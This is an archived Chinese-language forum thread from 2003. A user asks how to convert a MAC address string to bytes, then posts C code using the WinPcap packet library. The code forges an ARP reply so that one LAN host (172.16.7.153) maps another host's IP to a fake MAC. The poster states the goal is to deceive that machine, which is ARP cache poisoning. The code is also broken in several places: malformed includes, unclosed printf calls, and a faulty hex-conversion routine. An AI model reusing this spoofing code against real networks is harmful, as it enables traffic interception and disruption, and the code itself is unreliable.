免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 5293 | 回复: 3
打印 上一主题 下一主题

请教MAC地址由12字节字符串到6字节地址的转变。 [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2003-06-21 14:13 |只看该作者 |倒序浏览
如果 我 的 计算机的 MAC 地址是 AABBCCDDEEFF
那么 在 6位地址中的 存放 顺序是 AA BB CC DD EE FF
还是 FF EE DD CC BB AA 啊?

谁 有GetMacAddr 函数的 源码  吗, 小弟在网上 没得找到啊
先 谢谢了啊!

论坛徽章:
0
2 [报告]
发表于 2003-06-21 17:08 |只看该作者

请教MAC地址由12字节字符串到6字节地址的转变。

精华中应该有一篇

我不知道是谁写的

论坛徽章:
0
3 [报告]
发表于 2003-06-21 17:37 |只看该作者

请教MAC地址由12字节字符串到6字节地址的转变。

#include <stdio.h>;
#include <acket32.h>;

#define EPT_IP        0x0800            /* type: IP    */
#define EPT_ARP        0x0806            /* type: ARP */
#define EPT_RARP    0x8035            /* type: RARP */
#define ARP_HARDWARE 0x0001            /* Dummy type for 802.3 frames  */
#define    ARP_REQUEST    0x0001            /* ARP request */
#define    ARP_REPLY    0x0002            /* ARP reply */

#define Max_Num_Adapter 10

#pragma pack(push, 1)

typedef struct ehhdr
{
    unsigned char    eh_dst[6];        /* destination ethernet addrress */
    unsigned char    eh_src[6];        /* source ethernet addresss */
    unsigned short    eh_type;        /* ethernet pachet type    */
}EHHDR, *PEHHDR;


typedef struct arphdr
{
    unsigned short    arp_hrd;            /* format of hardware address */
    unsigned short    arp_pro;            /* format of protocol address */
    unsigned char    arp_hln;            /* length of hardware address */
    unsigned char    arp_pln;            /* length of protocol address */
    unsigned short    arp_op;                /* ARP/RARP operation */

    unsigned char    arp_sha[6];            /* sender hardware address */
    unsigned long    arp_spa;            /* sender protocol address */
    unsigned char    arp_tha[6];            /* target hardware address */
    unsigned long    arp_tpa;            /* target protocol address */
}ARPHDR, *PARPHDR;

typedef struct arpPacket
{
    EHHDR    ehhdr;
    ARPHDR    arphdr;
} ARPPACKET, *PARPPACKET;

#pragma pack(pop)

// 自己写的一个 函数 看看对不?


BOOL  GetMacAddr(char*p, char a[])
{
        int i=0;
        int high=0;
        int low=0;
        char* p1=NULL;
        for ( ; i<6;i++)
        {
                p1=p+1;
                switch (*p1)
                {
                case        'A': high=10;
                                         break;
                case        'B': high=11;
                                         break;
                case        'C': high=12;
                                         break;
                case        'D': high=13;
                                         break;
                case        'E': high=14;
                                         break;
                case        'F': high=15;
                                         break;
                default:
                 high=*p1-0x30;
        }
          switch (*p)
                {
                case        'A': low=10;
                                         break;
                case        'B': low=11;
                                         break;
                case        'C': low=12;
                                         break;
                case        'D': low=13;
                                         break;
                case        'E': low=14;
                                         break;
                case        'F': low=15;
                                         break;
                default:
                 low=*p-0x30;
        }
        a=high*16+low;
        p+=2;
        }
        return 1;
}






int main(int argc, char* argv[])
{
    static char AdapterList[Max_Num_Adapter][1024];     
    char szPacketBuf[600];
    char MacAddr[6];

    LPADAPTER    lpAdapter;
    LPPACKET    lpPacket;
    WCHAR        AdapterName[2048];
    WCHAR        *temp,*temp1;
    ARPPACKET ARPPacket;

    ULONG AdapterLength = 1024;
     
    int AdapterNum = 0;
    int nRetCode, i;

    //Get The list of Adapter
    if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE)
    {
        printf("Unable to retrieve the list of the adapters!\n";
        return 0;
    }

    temp = AdapterName;
    temp1=AdapterName;
    i = 0;
    while ((*temp != '\0')||(*(temp-1) != '\0'))
    {
        if (*temp == '\0')
        {
            memcpy(AdapterList,temp1,(temp-temp1)*2);
            temp1=temp+1;
            i++;
        }
         
        temp++;
    }
     
    AdapterNum = i;
    for (i = 0; i < AdapterNum; i++)
        wprintf(L"\n%d- %s\n", i+1, AdapterList);
    printf("\n";
     
    //Default open the 0
    lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[0]);
        //取第一个网卡(假设啦)

    if (!lpAdapter || (lpAdapter->;hFile == INVALID_HANDLE_VALUE))
    {
        nRetCode = GetLastError();
        printf("Unable to open the driver, Error Code : %lx\n", nRetCode);
        return 0;
    }

    lpPacket = PacketAllocatePacket();
    if(lpPacket == NULL)
    {
        printf("\nError:failed to allocate the LPPACKET structure.";
        return 0;
    }

    ZeroMemory(szPacketBuf, sizeof(szPacketBuf));

    if (!GetMacAddr("00C026A2D5CC", MacAddr))   
    {
        printf ("Get Mac address error!\n";
    }
    memcpy(ARPPacket.ehhdr.eh_dst, MacAddr, 6);    //目标MAC
       
    if (!GetMacAddr("00E04C9287BF", MacAddr))
    {
        printf ("Get Mac address error!\n";
        return 0;
    }
    memcpy(ARPPacket.ehhdr.eh_src, MacAddr, 6);    // 源MAC

    ARPPacket.ehhdr.eh_type = htons(EPT_ARP);

    ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE);
    ARPPacket.arphdr.arp_pro = htons(EPT_IP);
    ARPPacket.arphdr.arp_hln = 6;
    ARPPacket.arphdr.arp_pln = 4;
    ARPPacket.arphdr.arp_op = htons(ARP_REPLY);

    if (!GetMacAddr("DDDDDDDDDDDD", MacAddr))
    {
        printf ("Get Mac address error!\n";
        return 0;
    }
    memcpy(ARPPacket.arphdr.arp_sha, MacAddr, 6);    //伪造的C的MAC地址
    ARPPacket.arphdr.arp_spa = inet_addr("172.16.7.152";   //C的IP地址

    if (!GetMacAddr("00e04ca04cc7", MacAddr))
    {
        printf ("Get Mac address error!\n";
        return 0;
    }
    memcpy(ARPPacket.arphdr.arp_tha , MacAddr, 6);       //目标MAC
    ARPPacket.arphdr.arp_tpa = inet_addr("172.16.7.153";   // 目标IP

    memcpy(szPacketBuf, (char*)&ARPPacket, sizeof(ARPPacket));
    PacketInitPacket(lpPacket, szPacketBuf, 60);

    if(PacketSetNumWrites(lpAdapter, 2)==FALSE)
    {
        printf("warning: Unable to send more than one packet in a single write!\n";
    }
     
    if(PacketSendPacket(lpAdapter, lpPacket, TRUE)==FALSE)
    {
        printf("Error sending the packets!\n");
        return 0;
    }

    printf ("Send ok!\n");

    // close the adapter and exit
    PacketFreePacket(lpPacket);
    PacketCloseAdapter(lpAdapter);
    return 0;
}
// 修改的别人的源码
// 目的 是要 用172.16.7.152 这台计算,欺骗172.16.7.153
// 更新 172.16.7.152的MAC 为 DDDDDDDDDDDD
// 但是 我 发出去的 ARP 应答 包 172.16.7.153 根本没有收到啊?
// 用 arp -a 看见的 还是 00E04C9287BF啊?

论坛徽章:
1
荣誉版主
日期:2011-11-23 16:44:17
4 [报告]
发表于 2003-06-22 01:14 |只看该作者

请教MAC地址由12字节字符串到6字节地址的转变。

http://www.chinaunix.net/forum/viewtopic.php?t=85716
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP